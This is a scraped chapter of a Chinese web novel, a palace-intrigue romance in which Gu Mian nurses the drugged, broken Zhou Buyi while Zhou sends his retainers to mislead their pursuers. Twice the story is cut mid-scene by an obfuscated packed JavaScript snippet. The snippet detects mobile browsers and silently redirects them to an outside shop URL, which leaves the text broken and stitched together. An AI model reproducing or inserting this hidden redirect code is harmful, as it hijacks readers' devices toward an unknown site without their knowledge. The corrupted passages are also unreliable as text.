华山泉忽然站起身,走到周卜易面前,手里拿着一个香囊,“我无法抗命,这些年我除了散魂汤,也一直在研究它的解药。” “对不起,山泉无能,只能寻到压制之法。” 周卜易靠着椅背,看着华山泉的眼睛。 华山泉的眼睛里情不自禁渐渐流露出痛苦和对自己孩子的慈爱,“如果不这样…云舒他……” “我对不起您……我不能看着我唯一的孩子死在我面前……” “明明有两全的法子,只需再给我点时间”,周卜易疲惫地闭上了眼睛,再睁开时,那眸子里满是恨铁不成钢的愤慨,“华山泉,你糊涂……” “对不起……”老人端起药汤,眼神逐渐坚定,“对不起……” “回不了头了……” “大人……”老人把药递到周卜易唇边,捏开周卜易的脸颊,“您就喝了吧……” “对不起……山泉…会以死抵罪的……” 周卜易低低笑起来,一滴残余的褐色汤汁划过他唇角。 老人看得有些心疼,用袖子轻轻为他擦拭。 “那一年,那一天,只有你来了”,周卜易笑着说,“华山泉,你为什么上山?” “复命。” 那一日,他只是刚巧成功了,他带着成功的散魂汤上山,就看见月光下有一个血肉模糊的人影在滚钉床。 烧红的长钉和铁板下的火盆在夜里格外醒目,但他只是停顿了一下,便进了主屋。 华山泉后来曾无数次回想那个他将大人背下山的长夜。 他从天黑走到天亮,从天亮又走到天黑。 其实…比起心疼,还是愧疚和心虚更多一点。 “挺好的”,周卜易轻声,“你现在立刻滚出去,我看见你就心烦。” “我到底在妄想什么……”长夜里,周卜易缩在顾棉怀里自言自语,“从小到大,苦头吃得还不够多吗……” “还不够长记性吗……我不过是个……早晚会坏掉的工具罢了……” “胡…胡说八道”,顾棉一晚上无数次惊醒,无数次煎熬着听周卜易自言自语,无数次心急如焚却无能为力。 他有那么一点点崩溃,语气里不自觉带上浓重的鼻音,“胡说八道!本王不许你再胡言乱语!” “周卜易!你给本王听好了!你不是什么没人在意的工具!你是人!你是只属于本王的私奴!全天下今后只有本王能欺负你!” “周卜易……你别想他们了好不好……你想想本王”,顾棉的眼泪沾湿了周卜易的发,“你想想本王好不好,你回头看看本王……” “本王永远都不会伤害你……”顾棉一边垂泪,一边自说自话,“本王……本王只会……” 本王只会心疼你…… “先生……你看看安安吧”,顾棉将蜷缩起来的美人抱紧,“先生…你把眼睛睁开,你转过头来看看安安……” “先生……求求你了…你看看安安好不好?” 你看看我吧,你看看我的眼睛,我的眼睛里不会有算计。 我对你,只有赤诚。 不记得哪一年了,只隐约想起好像是一个再寻常不过的春夜,周卜易跪坐在案前写着什么。 顾棉蹬着小短腿爬上了不算高的小案。 他用小手抓住周卜易的毛笔,仰脸用一种委屈的神色看着周卜易。 “我做错事了吗?” “嗯?” “先生一整天都不理我。” “嗯……”周卜易拿开他的手,把纸从他腿下抽出来,挪了个位置继续写,“没空搭理你。” 顾棉就大着胆子伸手,捧住周卜易的脸。 周卜易有一刹怔愣,然后很快换成无动于衷。 可顾棉精神力一直集中在周卜易身上,又怎会察觉不到这一丝松动? “理一理我”,顾棉往前挪了一点,“可以吗?” 周卜易不动声色往后退了一点,他就再往前挪挪。 挪啊挪的。 就在他快要从桌沿上摔下来的时候,有一双手拦住了他的腰。 “顾棉,顾容安”,周卜易面沉如水,“你是不是想让我给你丢出去?” 顾棉用两只手死死抓着周卜易的袖子,闭着眼睛,紧紧抿着唇,大有一副你丢吧反正你也丢不掉的意思。 于是周卜易忽然就笑了,带着一种满满的调戏和逗弄意味,“安安,小安安。” “赖上臣了?嗯?”周卜易伸手刮了刮顾棉鼻头,“安安小丫头是不是还想着长大了要嫁给臣啊?” 顾棉瞬间就松开了周卜易的袖子,飞快用手捂住自己的脸。 ——真好骗。 那天的结局是周卜易趁机把他拎出去关在了门外。 他就抱着膝盖坐在门口的地上,背靠着门,看着天上的星星,再看看窗下灯火映出的人影。 他想,他再也不要上当了。 就算先生再叫他这么羞耻的昵称,他也绝对不会再松手了。 他先生就是个彻头彻尾的大坏蛋,但凡他一松手,他先生就能真的不要他了。 顾棉把美人抱紧,灼热的呼吸喷洒在美人鬓边,“过去了……都过去了……” “都过去了周卜易”,顾棉鼻尖轻轻蹭着周卜易鬓角的发丝,“都过去了先生……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14044988|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都过去了吗?周卜易睁开眼睛,没有转身,也没有回头。 顾小棉,你啊。 等你以后高坐皇位的时候,我就可以解脱了。 你不知道,你是最不应该拿我当人的人。 拿我当一个好用的工具,用完了就丢弃吧。 只有这样想,等有一天你发现我不见了,你才不会很难过很难过。 周卜易的眼睛静静望着黑蒙蒙空旷旷的房间。 可是,顾棉他……好像做不到了。 怎么会这样呢,明明从前都对他那么过分了。 他怎么还这么…… 傻瓜顾棉。 你这样,叫我怎么放心离你而去再也不回来…… “你醒了吗”,顾棉轻嗅着美人的发丝,“回话。” 周卜易安静了很久了,也沉默很久没有说梦话了。 所以他一定已经醒了。 “没规没矩的,本王是你主人,问你话,你要回。” 周卜易,你回一回本王。 你总不回应本王,时间太长本王就会很害怕。 “本王已经够疼你了”,顾棉从被窝里爬起来,“你别不识好歹。” 他绕到床的另一边,只看见美人已经闭上的双眼。 装,继续装。 顾棉走到屏风前,在外衣内袋里摸出一颗奶糖。 糖纸的声音窸窸窣窣的,在静谧的夜里越发清晰起来。 鼻间奶香浓郁,周卜易到底没忍住蹙了一下眉。 “张嘴”,顾棉捏着那一小块糖,放在美人鼻子下面。 “要本王亲你吗?”见美人不动,顾棉声音低沉了些。 周卜易无奈睁眼,叹息着道,“还睡不睡了?” “不吃,大晚上的,奴怕牙疼。” 顾棉才不管他说什么,等他张口,就用指尖推进美人口中。 “你可以吐出来”,顾棉冷着声音,“你敢吐出来,本王把你嘴唇咬肿磨烂。” 顾棉说完便转过身子,小心翼翼收集起糖纸。 一张……又一张…… 还剩多少颗糖呢。 顾棉回忆起那甜滋滋的味道,忽然就有点馋。 可他只是咽了口唾沫,就放回了外衫。 顾棉爬回床上,伸手搂过美人。 离近了,就能闻到甜腻腻的奶香。 苦药味暂时被压下,顾棉深深吸了一口气,不舍得很快呼出来。 周卜易的身躯变得好瘦小了。 周卜易仿佛被榨干了一样,身上一点肉脂都没有了。 周卜易后背上的蝴蝶骨硌得他肋骨好疼。 顾棉有些难过的想,本王给你吃糖,你却硌疼本王。 你这个不识好歹的王八蛋,只会恩将仇报。 一点都不懂得感恩。 明天早上你不吃下一整碗粥和一整个包子,本王就要记仇了。 顾棉将自己的下巴挤进美人的颈窝,然后他想,这肩膀也太薄了些。 他下巴也好疼。 “你是顽石吗?碰哪里哪里疼”,顾棉闷闷出声,“你再不长肉,本王要生气了。” “本王劝你自觉一点,别总让本王哄着你求着你好好吃饭。” 38.他又把他给摸遍了 顾棉闭上眼睛,紧紧贴着美人的身体。 “再睡会吧”,顾棉轻拍美人,“天快亮了。” 可此夜注定无人再能眠。 天亮的时候,顾棉打来水,洗了条毛巾,给周卜易擦脸。 然后他慢慢解开那些缠带,去擦拭周卜易的身体。 周卜易无力反抗,全身上下都被顾棉肆无忌惮摸来摸去,摸到某些敏感之处,他蜷缩了脚趾。 顾棉眼眸又暗沉了几分,他抿着唇,一边克制着欲望,一边细致轻柔擦着周卜易身上干涸已久的血渍。 皮上的疤已经在褪去了,就是不知道肉和骨头里面的伤有没有好。 顾棉的手指轻轻抚过周卜易的大腿,感受着美人细微的颤抖。 他蓦然收回手,把周卜易抱起来,套上衣裳,然后拿过放在床头的木梳,一下一下梳着周卜易的长发。 头发很长,垂得连他腿上都是,发梢落在床上,弯弯曲曲盘着。 顾棉取了根木簪,给周卜易把头发束起来。 只他平日自己都是被人伺候着,哪里会盘发。 那发被他盘得凌乱,甚至散了一半下来,周卜易瞧着铜镜里的自己,好险没忍住破口大骂。 “爷现在不跑的话,一会奴发起火来,爷恐怕要……” “乱就乱吧,斗笠一戴谁看得见”,顾棉有点不高兴,“谁愿意伺候你梳头。” 挽发只是为了一会方便戴斗笠罢了,绝对不是因为他羡慕了…… 以前的时候,他偶然看见他那太子大哥给太子妃梳头,好生般配的模样。 他那时候就想,周卜易什么时候回来,周卜易还回不回来了? 周卜易回来了,他也要给周卜易梳。 他私心觉得这事很浪漫。 可周卜易不领情。 周卜易没那福气,周卜易整整十年都不回来。 顾棉重重把梳子拍在桌上,“周卜易!你知不知道什么叫主奴?” “等你好了,必须每天伺候本王更衣沐浴、起居梳洗。” 美人只冷笑一声,道,“行,只要爷不怕奴忽然把簪子插进爷脖子里。” 铜镜里,也映出顾棉的脸。 顾棉的脸上没有恐惧,也没有怒意。 他只是平静地说,“吃饭吧。” 谁都有可能会害他,唯独周卜易不会。 顾棉抱着这只张牙舞爪装老虎的病猫,去了前厅。 那边才是正经该用膳的地方…… 今天之后,他应该不会再回这里了吧? 逃离神都那些尔虞我诈,逃离那些苍蝇似的眼线之后,他是不是就能随心所欲了呢? 顾棉漫不经心撕着小笼包,把面皮一小块一小块丢进粥碗里,然后拿着勺子搅了搅。 周卜易的声音一如既往虚弱中夹着一丝冷淡,“洗手了吗?” 周卜易这个人,似乎连笑的时候都是冷冰冰的。 顾棉手顿了顿,“嫌弃本王?” “不敢”,周卜易拖着懒洋洋的尾音,“只是奴身体太弱,怕吃坏了肚子。” 顾棉端起碗,用小勺舀了一口,“大不了本王辛苦一点,抱你去茅房。” 周卜易眉头轻轻跳了一下。 这孩子是虎的吗?吃饭的时候说这些话? 顾棉把粥晾了一会,才喂给周卜易。 周卜易只吃了两口,就偏过了头。 “吃完,别惹怒本王。” 那碗掺了包子的米粥到底是让周卜易一口一口就着顾棉的手吞入腹中。 没办法,顾棉的眼神实在认真且强硬,大有不吃就一直耗着的意思。 总不好耽误了正事。 顾棉把周卜易放在轮椅上,就进了书房,他要去把那本《恭听圣事录》的最后一章写完。 等他走后,这本书会出现在谁的案头呢? 不重要了,是谁都可以。 关上书房大门前,他余光看见傅辰往周卜易那边去了。 他手指攥了一下,然后便关了门。 周卜易又要布置什么呢? 不重要了,周卜易不会害他。 “长兴”,周卜易的头顶沾了片落叶。 傅辰小心翼翼伸手,尽量不碰到周卜易,替周卜易摘去落叶。 傅辰的草帽之下,是一双忧郁的眼睛。 他……欠大人一条命。 “长兴在”,傅辰低下头,帽檐将他的脸遮得更加严实。 “长兴,有一件事,需要你和黎阳春去配合。” “长兴知道”,傅辰语气沉重,他知道,这件事不是一般的危险。 “一旦离开神都,我们与斩龙一脉的约定就将作废”,周卜易望着大门的眼眸,如一汪深不见底的湖水,“让黎阳春主动暴露,然后引着追兵往北离去。” “动静闹大一点,务必要引起斩龙一脉的关注,在他们反应过来前,尽量为顾棉争取时间。” “长兴,你们会有被生擒的风险,怕吗?” “长兴的命是大人给的”,傅辰把一块长命锁取下来,然后挂到周卜易脖子上,“长兴早就该死了……” “如果长兴不在了,大人……大人要好好活下去。” “长兴保佑大人,一定一定,长命百岁。” “说这些有什么用”,周卜易的眼睛里看不出有什么情绪,他只是用一种极淡的语调,交代着他们该做的事情,“你与黎阳春兵分两路,要赶在我们出城门前,黎阳春抄小路往北离去,而你,赶着马车走边南关的驿道。” “可是……”傅辰有些不愿,“那不是大人您要走的路吗?万一……” “你就走这条路,走在我们后面,发现他们的探子后,你就假装不知道,掉头往北离去追黎阳春。” 周卜易的声音染上一丝阴毒狠厉,“把斩龙者引到不周山!周家会出手替你们阻拦!” 祸水东引吗?傅辰眼睛里也闪过一抹狠劲。 他在乎的从始至终都只有大人!周家那样对待大人,他早就想动手了! 护龙一脉那庞然大物他知道撼动不了什么,但能给他们添点堵也就足够了! 他就是要恶心他们! 周卜易看出了傅辰的情绪,却并未说什么。 说到底,他并不愿意全信这些人,哪怕是傅辰。 当年他留傅辰一命,不过也是为了布局罢了。 这个世上唯一能牵动周卜易命脉的人,只有顾棉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14056494|147505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果有一天那一脉要动顾棉,他会不惜一切代价拖着那一脉一起下地狱。 周卜易闭上双眸,挥了挥手示意傅辰赶紧走。 傅辰看着垂在地上的毛毯,终究没忍住伸手替周卜易盖好,然后在周卜易睁开眼睛前毅然转身,离开了容王府。 周卜易的视线缓缓下落到胸前的长命锁上,那不是什么金贵东西,只是块黄铜。 正面是长命,背面是百岁。 周卜易轻声一笑,带着浓烈的讽刺意味。 一个注定要被处死的工具,要如何长命百岁? 呵。 周卜易想,等顾棉当了皇帝,早晚有一天也会猜忌他的吧? 狡兔死,走狗烹。 君心难测,人心善变,太多历史告诉他,再忠心的臣,被猜疑也无可避免。 顾小棉,我不会让你为难的。 不会有那一天的。 周卜易轻声,“我,会自尽。” 轮椅背后,顾棉的手一紧,“你说什么?” 顾棉咬牙切齿,“你刚刚在说什么?” “你敢不敢再给本王说一遍!” “没说什么,写完了?那就走吧”,周卜易敛了神色,转动轮椅把手,往府门那边去,“你二哥哥在门口等急了,刚刚喊了好几声门呢。” 周卜易忽然意味不明笑了笑,“是吧?阿棉?” 顾棉一愣,莫名有点心虚,他不自然移开视线,轻咳几声道,“什么二哥哥,周卜易,你成心要倒本王胃口?” “怎么会,奴看您那二哥哥挺喜欢您的”,周卜易有些玩味地看着顾棉,“阿棉难道不喜欢二哥哥吗?” 顾棉鸡皮疙瘩起了一身,可他心里还是拘着周卜易方才的话,“你别老岔开,别以为这样本王便不再追究了。” 顾棉把手中斗笠扣到周卜易头顶,然后理了理垂下来的纱布,确定它能完完全全盖住周卜易的面容后,便推着轮椅出了王府。 顾承年就站在阶下等,一副温良的模样,“阿棉,为兄刚来,没等多久。” “阿棉”二字一出,顾棉就仿佛又看见周卜易那抹意味不明的调笑,他脊背一僵,道,“抱歉,久等。” “你这孩子,怎么回事?”顾承年似是无奈地叹息,“都说了为兄刚来不久,怎么心不在焉的……” “阿棉是不是害怕了?毕竟你也没出过远门,是为兄思虑不周了……”顾承年温和的眸子看着顾棉,声音轻柔,“要不还是算了吧……为兄……为兄总能寻到别的生路的……” “没有”,顾棉摇摇头,心中暗骂这只老狐狸,分明老奸巨猾,装什么人畜无害,“只是担心路上不安全……” “怎么会呢?阿棉你啊,就是胆子太小了些”,顾承年话锋一转,语调陡然变冷,“还没有谁敢动我昭王的商队。” “吓着你了吧?”顾承年收敛了身上的气势,歉意地笑了笑,摸摸顾棉的头,“阿棉不惹为兄生气的话,为兄便不会如方才一般可怕的。” “不过阿棉是为兄最宠爱的弟弟,为兄对着阿棉也生不起来气”,顾承年压低声音,带着一丝若有若无的危险,“阿棉会听为兄话的对吗?阿棉,只要你听话,为兄会护你宠你一辈子。”